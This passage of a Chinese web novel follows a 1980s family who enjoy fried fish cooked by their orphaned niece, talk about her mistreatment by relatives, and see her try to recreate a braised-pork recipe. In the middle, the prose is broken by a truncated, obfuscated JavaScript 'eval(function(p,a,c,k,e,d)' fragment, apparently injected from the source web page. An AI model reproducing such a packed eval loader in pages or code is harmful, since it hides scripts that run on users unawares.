李婷给她递上毛巾,说:“今天居委会没什么事,就提前回来了。爸,妈,我焖米饭了,还炒了盘白菜,你们快过来吃饭吧。” 李婷提前回家,见家里没人,就动手做了饭,等父母回来一起吃。 说到吃饭,张雪梅忽然想起那个搪瓷盆来。 “对了,志远,咱妈给咱们拿了炸鱼,你快拿过来。” 李志远答应了一声,把温礼香给他们的小包裹拎到桌旁。 温礼香怕炸鱼凉了,特意找了个带盖的搪瓷缸,又在外面包了一层布,这样保温的时间会更长一点。 李婷把饭菜端上桌,张雪梅打开包裹,才揭开搪瓷缸的盖子,一股浓郁的香味就飘了出来。 15. 第015章 酱肉 张雪梅正跟李婷说把她那几件不穿的衣服拿去给苏棠的事,陡然闻到这股香味儿,才说了一半的话顿时就忘了。 “这是什么,真是炸鱼?” 别说她,连李志远和李婷都是一脸的不敢置信。 搪瓷盆里塞得满满的炸鱼,一块块大小匀称,颜色金黄,在灯光的照耀下更加显得油光闪闪,看着就让人不由自主地吞口水。 李婷瞪大了眼睛,下意识地问:“这是我奶做的?!” 身为温礼香的大孙女,李婷自小就没少吃温礼香做的饭菜,不能说难吃吧,但是也就算中规中矩,家常滋味而已。 可是眼前的炸鱼油光锃亮,散发出来的气味更是奇香无比,完全不是她印象中温礼香做的菜的味道。 张雪梅后知后觉地想起来一件事:“哦对了,你奶奶说,这是棠棠做的,让我们带回来尝尝。” 刚才他们赶时间,把东西送进屋就急急忙忙走了,临走被温礼香塞了这个小包裹,只听了一耳朵,知道里面装的是炸鱼,其他也没往心里去。 两家虽然不住在一起,可是彼此经常来往,互相照顾,谁家做好吃的都会给分一份送过来,所以张雪梅压根就没把这炸鱼当回事。 可是谁能想到,听起来普普通通的炸鱼,闻着味道却这么香啊! 李志远蹬了半天三轮车,这会儿肚子早就饿了。 他抄起筷子,说:“别看了,赶紧吃吧,一会儿该凉了。”说着就率先动了筷。 第一筷当然直奔炸鱼而去,温礼香给他们装的都是厚厚的鱼身肉,一口下去嘴巴里就被肉塞得满满的,大口吃肉的感觉当真是无比的满足。 被盖子捂得严严实实的炸鱼还没凉,这会儿温度刚刚好,外皮还保持着酥脆,牙齿一碰就迸裂破开,露出里面鲜嫩的鱼肉。 鱼肉沾染了面糊里调料的味道,十分入味,吃起来软嫩又鲜香。 这样外酥里嫩的炸鱼,吃上一口就欲罢不能。 张雪梅见李志远一筷接一筷,嘴里的鱼肉还没咽下去,筷子已经夹起了下一块,也连忙夹了一块。 她这块正好是一块鱼肚,厚厚的鱼油经过高温炸制已经近乎化开,一咬便是满口喷香的油汁。 鱼肥膘比猪肉炸出来的油嗞啦更多了一层鱼的鲜美滋味,吃在口中简直幸福到飞起。 李婷吃了第一块炸鱼之后,眼睛就没从这搪瓷饭盆上移开过。 至于她炒的那盘白菜,别说李志远和张雪梅,连李婷自己都不想多看一眼。 有这么香的炸鱼,谁还吃炒白菜啊! 一家三口风卷残云般将一小盆炸鱼吃了个一干二净,连鱼骨头都嗦得油汁都不剩下一滴。 直到一脸满足地靠在椅背上,李婷才突然想起一件事。 “哎呀,这么好吃的炸鱼,忘了给我哥留几块了!” 张雪梅揉着肚子打了个饱嗝,摆了摆手。 “给他留什么?前两天你哥说他们车间要出货,得忙上好几天呢,你没见他昨天晚上都没回家吗,估计直接住厂子宿舍里了,咱们不用给他留饭。” 李志远也丝毫没觉得不妥,并且深以为然。 “就是,这炸鱼不能留,凉了就有腥味了,就得趁热吃!” 见父母都没把儿子当回事,李婷只好不提了。 嗯,不能怪父母吃太多,她自己也没少吃。 吃完了炸鱼,李婷对这个还没见过面的表妹就多了几分好奇。 “爸,妈,这鱼是真是我那个表妹做的?” 那天李志远他们回家,提过一嘴说她大姑家的表妹从乡下来了,她还没来得及去看望。 只是,一个从乡下来的小姑娘,居然能有这么好的做饭手艺? 提到苏棠,李志远和张雪梅都是满脸怜惜。 “唉,婷婷你是没瞧见,你表妹是真可怜啊……” 以前他俩总觉得他们两人都是工人,没什么大出息,女儿高中毕业后,他们连个工作都安排不了,实在是对不住孩子。 现在一看苏棠,他们觉得李婷投生到他们家,简直是跟掉进了福窝里一样。 他们家虽然不是大富大贵,可是知道疼孩子啊,李婷从小到大,吃得饱穿得暖,几乎没穿过带补丁的衣服,时不时还能穿上花裙子,用上雪花膏,生活得无忧无虑的,比难民似的苏棠姐弟强太多了。 听李志远说到苏棠在奶奶家要做一大家人的饭,李婷这才恍然大悟。 难怪苏棠比她还小,做菜手艺就这么好,原来都是被苏家人逼出来的! 李婷听得愤愤不平,说:“那老苏家这么虐待孩子,就没人管管?这种事要是搁我们居委会,我们主任早就上门了!” 李婷从小生活在城市里,很少接触乡下这些事,听说苏家如此苛待孩子,简直不敢置信。 都八十年代了,竟然还有人不给孩子吃饭?! “这是在城里,有政府和街道管,这种事在农村可不少呢,棠棠他俩没了爸妈,在外人看来就是孤儿,谁肯为他们出头?再说,人家有亲爷爷亲奶奶,就算是村支书知道,也不好干涉太多啊。” 这样的家庭纠纷最难处置,两个孩子年纪小,又没有父母撑腰,那还不是由着其他亲戚磋磨。 村里管这管那,难不成还要管人家怎么养孩子?谁愿意没事找事啊? “是啊,所以当年你大姑和大姑父没了,你爸一直放心不下棠棠他俩,这些年还一直攒钱给他们寄过去,就是怕苏家人对俩孩子不好……” 提起苏家干的那些事,李志远就忍不住发脾气。 “我是真没想到老苏家拿了钱,还要这么祸害孩子!要不是离得远,我就该打上门去!真以为志玉他们两口子没了,棠棠他俩就没人撑腰了吗?” 别的不说,李章儒每个月的退休金,总要单独留出来一份给苏棠和苏诚攒着,他家稍微宽裕一点,也会添上一部分钱,一起寄到乡下去。 尤其李志兰,最疼两个孩子,逢年过节就去苏家看看,吃的穿的用的更是送了不少,结果全便宜了苏家人,苏棠和苏诚不但一点儿好处都捞不着,还要被苏家这么虐待! 李志远能猜到两个孩子没了父母,在苏家过的应该不会太好,只是想着李家人送了这么多年的钱,苏家人看在钱和东西的份上,好歹能把孩子养大,没想到苏家人居然干出这种事! 真是想起来就要气死人! 张雪梅也跟着骂了苏家几句,劝李志远道:“刚吃完饭,你别生气,免得气坏了身子。好在棠棠是个聪明孩子,带着弟弟一路跑出来了,以后在咱们身边,咱们就好好照看,俩孩子再也不用受那个罪了。” 李志远觉得她说的有道理,这才按下怒火,不再破口大骂。 李婷在一旁听了半天,对苏棠姐弟也是满心同情。 “妈,这两天居委会晚上有宣传活动,我可能抽不出空儿去奶奶家,等周日我去奶奶家一趟,看看表妹表弟。” 见女儿善良懂事,李志远和张雪梅都很欣慰。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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医生一脸无奈地说:“大娘,这孩子是有点儿营养不良,不过现在他是消化不良的问题,回家可不能再这么暴饮暴食了,我给他开点儿消食片,这几天吃饭要清淡点,很快就好了。” “都营养不良了,怎么还能吃清淡的呀,那身体不就垮了吗?”温礼香忍不住问道。 “大娘,有句俗话叫一口吃不成胖子,这孩子从小没吃过什么好东西,乍一吃这么多鱼啊肉的,就不好消化了,您听我的,要是三天以后孩子还不好,您再来找我。” 医生好说好商量,才劝住了温礼香。 按照医生的嘱咐,苏诚回去结结实实地吃了几天小米粥和面条,这才好了起来。 在苏诚天天喝粥的时候,苏棠则在研究宝祥居酱肉的配方。 家里只有李章儒是吃过宝祥居酱肉的,所以他当仁不让,跟苏棠一起天天研究,想把当年的配方重新复制出来。 李章儒努力搜索着童年的回忆,从零星的记忆碎片中拼凑出宝祥居曾经用过的配料和制作方法,再跟苏棠详细地描述他儿时吃过的酱肉的味道。 苏棠则根据李章儒的记忆和描述,逐渐拼凑出来完整的配方。 当然,想要复刻当年的味道,还是要不断地实践。 祖孙两人每天都在做酱肉,满街天天都能闻到李家传出来的肉香味。 虽然一直都在做酱肉,可是想要做的跟当年的宝祥居一模一样,依然需要时间和试验。 苏棠也不气馁,每次做完都会在配料单上做一些小小的调整,力求达到李章儒的要求。 直到这一天,又一锅酱肉做好了。 苏棠从锅里舀起一块肉,切下一小块,端到李章儒面前。 “姥爷,尝尝这味道怎么样?” 连着做了好几天,李章儒都有点没信心了。 想来也是,如果宝祥居的酱肉那么容易就被复制出来,那当年也不可能成为独门秘方了。 看着眼前这一小块酱肉,他深深地吸了一口气,才拿起了筷子。